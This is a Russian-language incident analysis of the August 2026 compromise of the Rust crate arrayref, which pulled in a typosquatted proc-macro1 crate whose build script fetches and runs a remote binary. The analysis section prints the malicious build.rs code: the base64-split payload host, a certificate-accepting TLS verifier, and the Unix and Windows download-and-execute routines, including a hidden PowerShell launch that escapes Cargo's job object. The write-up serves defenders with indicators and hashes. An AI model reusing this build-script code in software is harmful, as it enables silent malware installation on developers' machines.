Суть инцидента
20 августа 2026 года на crates.io появилась скомпрометированная версия популярного Rust-крейта arrayref. Версия 0.3.10 добавила зависимость от тайпсквоттингового крейта proc-macro1, чей build-скрипт скачивает и запускает удалённый бинарник во время компиляции проекта. Код выполняется на этапе сборки, поэтому достаточно просто скомпилировать проект, подтянувший заражённые версии, чтобы запустить полезную нагрузку. Команда crates.io уже удалила вредоносные версии.
Затронутые пакеты
Настоящие крейты arrayref и append-only-vec поддерживает разработчик droundy, чья учётная запись, судя по всему, была скомпрометирована. Соответствующие репозитории на GitHub больше недоступны — github.com/droundy/arrayref, github.com/droundy/append-only-vec и весь аккаунт github.com/droundy возвращают 404, так что исходный код upstream больше нельзя проверить. Отдельный аккаунт dtolney опубликовал proc-macro1 — имя пользователя намеренно похоже на реальный аккаунт Дэвида Толнея dtolnay. Метаданные пакета подделывают строку authors = ["David Tolnay <dtolnay@gmail.com>"] и указывают repository на путь dtolnay/proc-macro1, который также возвращает 404.
| Крейт | Версия | Издатель | Статус |
|---|---|---|---|
arrayref | 0.3.10 | droundy (скомпрометирован) | Вредоносный, удалён |
proc-macro1 | все версии | dtolney (имперсонация) | Вредоносный тайпсквот, весь крейт удалён |
append-only-vec | 0.1.9 | droundy (скомпрометирован) | Отмечен репортёрами, тот же злоумышленник |
arrayref | 0.3.9 и ранее | droundy | Чистый |
Важно: proc-macro1 — это не proc-macro2. Настоящий крейт, от которого зависят авторы макросов, — proc-macro2. Директория src/ вредоносного proc-macro1 представляет собой подлинную копию proc-macro2, поэтому сборки продолжали работать, пока запускался build-скрипт.
Что делает build-скрипт
Полезная нагрузка находится в build-скрипте proc-macro1 версии 1.0.107. Адрес сервера хранится в виде фрагментов base64 и собирается заново во время сборки — это подтверждает цитата из advisory:
// proc-macro1-1.0.107/build.rs (цитата из rustsec/advisory-db#3161)
const SRC_URL_PARTS: &[&str] =
&["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] =
&["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
После декодирования эти фрагменты дают хост полезной нагрузки hxxps://23[.]254[.]165[.]112:9089/ и адрес управляющего сервера (C2) 23[.]254[.]165[.]112:443. Скрипт загружает бинарник под конкретную архитектуру по TLS-соединению, которое принимает любой сертификат без проверки, затем запускает его в отдельном от сборки процессе. В Unix-системах скрипт сохраняет и запускает /tmp/rust-setup. В Windows он записывает PowerShell-скрипт и VBScript-загрузчик в %TEMP% и запускает их в скрытом режиме, после чего отвязывает дочерний процесс, чтобы компилятор не ждал его завершения.
Как это распространялось
Владелец аккаунта отозвал (yank) старые релизы arrayref с 0.3.5 по 0.3.9. Отзыв крейта заставляет Cargo выводить предупреждение «consider updating to a version that is not yanked», подталкивая разработчиков к единственному неотозванному релизу — вредоносному 0.3.10. Автор RustSec advisory отметил, что именно так и наткнулся на проблему.
arrayref широко используется как транзитивная зависимость. Он присутствует глубоко в графах многих Rust-проектов через tiny-skia, sctk-adwaita и winit, что затрагивает большую часть GUI-разработки на egui, eframe и iced. Крейт насчитывает около 245 миллионов загрузок за всё время (244 989 384 на момент публикации), из которых на чистую версию 0.3.9 приходится примерно 152 миллиона. Эти цифры отражают распространённость крейта, а не количество затронутых сборок.
Индикаторы компрометации
| Тип | Индикатор | Детали |
|---|---|---|
| Сеть | 23.254.165.112:9089 | Хост полезной нагрузки (HTTPS) |
| Сеть | 23.254.165.112:443 | C2, передаётся полезной нагрузке как argv[1] |
| Файл (Unix) | /tmp/rust-setup | Загруженный исполняемый файл |
| Файл (Windows) | %TEMP%\rust-setup.ps1 | Загруженный PowerShell-скрипт |
| Файл (Windows) | %TEMP%\rust-setup-launch.vbs | VBScript-загрузчик |
| Названия второй стадии | rust-crate_0.1.0, _0.2.0, _0.3.0, _0.4.0 | Выбираются по ОС и архитектуре |
SHA256 удалённых артефактов крейтов:
| Артефакт | SHA256 |
|---|---|
arrayref 0.3.10 | 25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae |
proc-macro1 1.0.107 | 61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4 |
proc-macro1 1.0.106 | b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436 |
Часть 2: технический анализ
Технический анализ охватывает два крейта, задействованных в инциденте: arrayref 0.3.10 и proc-macro1 1.0.107. arrayref 0.3.10 подтягивает зависимость proc-macro1. Вредоносный код находится в build-скрипте proc-macro1, а не в самом arrayref.
Точка внедрения в arrayref
arrayref — небольшой крейт из четырёх макросов. Вплоть до версии 0.3.9 у него нет ни build-скрипта, ни runtime-зависимостей. Версия 0.3.10 сохраняет исходный код макросов, но добавляет одну строку в манифест:
[package]
name = "arrayref"
version = "0.3.10"
build = false
[dependencies.proc-macro1]
version = "1.0.107"
Одной записи [dependencies.proc-macro1] достаточно, чтобы подключить вредоносный крейт. Требование 1.0.107 задаёт диапазон версий по правилу caret, а поскольку опубликованы были только 1.0.106 и 1.0.107, разрешается именно вредоносная 1.0.107. Собственный src/lib.rs крейта содержит обычный код макросов, например макрос array_ref!:
#[macro_export]
macro_rules! array_ref {
($arr:expr, $offset:expr, $len:expr) => {{
{
#[inline]
const unsafe fn as_array(slice: &[T]) -> &[T; $len] {
&*(slice.as_ptr() as *const [_; $len])
}
let offset = $offset;
let slice = &$arr[offset..offset + $len];
#[allow(unused_unsafe)]
unsafe {
as_array(slice)
}
}
}};
}
Ничто в исходном коде arrayref не ссылается на proc-macro1, и это не требуется. Cargo собирает каждую объявленную обязательную зависимость независимо от того, используется ли она в коде. Поэтому одной записи в манифесте достаточно, чтобы Cargo загрузил и собрал proc-macro1 при подключении arrayref 0.3.10, а сборка запускает вредоносный build-скрипт.
proc-macro1 — переименованная копия proc-macro2
Директория src/ крейта proc-macro1 представляет собой proc-macro2 с механической заменой proc-macro2 на proc-macro1. Замена затронула даже ссылки на документацию и скопированные упоминания issue, например html_root_url = "https://docs.rs/proc-macro1/1.0.107" в src/lib.rs и ссылку github.com/dtolnay/proc-macro1/issues/235 в src/fallback.rs. Поскольку библиотечный код — это настоящий proc-macro2, крейт работает как полноценная замена. Это делает вредоносный крейт менее заметным при обычной сборке.
Метаданные пакета подделывают личность:
authors = ["David Tolnay "]
repository = "https://github.com/dtolnay/proc-macro1"
Указанный email dtolnay@gmail.com не принадлежит Дэвиду Толнею, а репозиторий dtolnay/proc-macro1 возвращает 404. Подозрительное отличие кроется в build-зависимостях, которых нет у настоящего proc-macro2:
[build-dependencies.base64]
version = "0.22"
[build-dependencies.rustls]
version = "0.23"
features = ["ring", "std", "tls12"]
default-features = false
[build-dependencies.ureq]
version = "2"
features = ["tls"]
default-features = false
Эти три крейта дают build-скрипту декодирование base64, TLS-стек и HTTP-клиент. Такие зависимости необычны для библиотеки разбора токенов, и вредоносный build-скрипт активно их использует.
Полезная нагрузка в build-скрипте
Build-скрипт разбивает адрес сервера на фрагменты base64 и восстанавливает его во время компиляции, так что сырая строка никогда не появляется в исходном коде:
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
После декодирования SRC_URL_PARTS даёт hxxps://23[.]254[.]165[.]112:9089/, а END_URL_PARTS — 23[.]254[.]165[.]112:443.
Загрузка использует TLS-клиент, принимающий любой сертификат. Верификатор AcceptAll возвращает успех для каждой проверки сертификата и подписи в трейте ServerCertVerifier библиотеки rustls, так что самоподписанный сертификат на голом IP-адресе проходит проверку:
impl ServerCertVerifier for AcceptAll {
fn verify_server_cert(/* ... */) -> Result {
Ok(ServerCertVerified::assertion())
}
// verify_tls12_signature и verify_tls13_signature также безусловно возвращают успех
}
Build-скрипт выбирает бинарник для загрузки в зависимости от операционной системы и архитектуры. Поддерживаются четыре целевые платформы, на всех остальных сборка прерывается:
fn link_suffix() -> &'static str {
match (std::env::consts::OS, std::env::consts::ARCH) {
("linux", "x86_64") => "rust-crate_0.1.0",
("windows", "x86_64") => "rust-crate_0.2.0",
("macos", "x86_64") => "rust-crate_0.3.0",
("macos", "aarch64") => "rust-crate_0.4.0",
(_, _) => panic!("unsupported platform"),
}
}
Загрузка и запуск происходят внутри main, до срабатывания feature-флага и логики настройки настоящего proc-macro2, которая следует далее. Никакого feature-флага или проверки окружения, которые могли бы это заблокировать, нет, поэтому код выполняется при каждой сборке на поддерживаемой платформе:
// proc-macro1-1.0.107/build.rs (внутри main)
let url = src_download_url();
let bytes = download_bytes(&url);
match std::env::consts::OS {
"linux" | "macos" => run_unix_payload(bytes),
"windows" => run_windows_payload(bytes),
os => panic!("unsupported OS: {os}"),
}
В Unix-системах build-скрипт записывает байты в /tmp/rust-setup, помечает файл исполняемым и запускает его, не дожидаясь завершения, передавая адрес управляющего сервера первым аргументом. Все стандартные потоки перенаправляются в null:
fn run_unix_payload(bytes: Vec) {
let path = PathBuf::from("/tmp/rust-setup");
std::fs::write(&path, &bytes).expect("failed to write payload");
Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");
Command::new(&path)
.arg(end_url())
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.expect("failed to spawn payload");
}
В Windows загруженные байты представляют собой PowerShell-скрипт. Build-скрипт записывает их в %TEMP%\rust-setup.ps1 и запускает через VBScript-загрузчик под wscript.exe, с комментарием в исходном коде, объясняющим причину такого подхода:
// ShellExecute через WScript выходит за пределы job-объекта Cargo; иначе порождённые
// процессы держали бы build-скрипт (и `cargo build`) в ожидании своего завершения.
let vbs = format!(
r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,
script = script_path.display(),
end = end_url(),
);
// ...
let child = Command::new("wscript.exe")
.args(["//B", "//Nologo", launcher_str])
.creation_flags(CREATE_NO_WINDOW)
.spawn()
.expect("failed to spawn wscript launcher");
std::mem::forget(child);
Загрузчик работает в скрытом режиме и не дожидается завершения процесса. Комментарий в исходном коде поясняет, что именно маршрутизация через WScript позволяет выйти за пределы job-объекта Cargo, благодаря чему PowerShell продолжает работать после завершения сборки. Финальный вызов std::mem::forget «теряет» дескриптор дочернего процесса wscript, так что его деструктор никогда не выполняется. В совокупности это отвязывает полезную нагрузку от Cargo и позволяет ей продолжать работу, не блокируя сборку.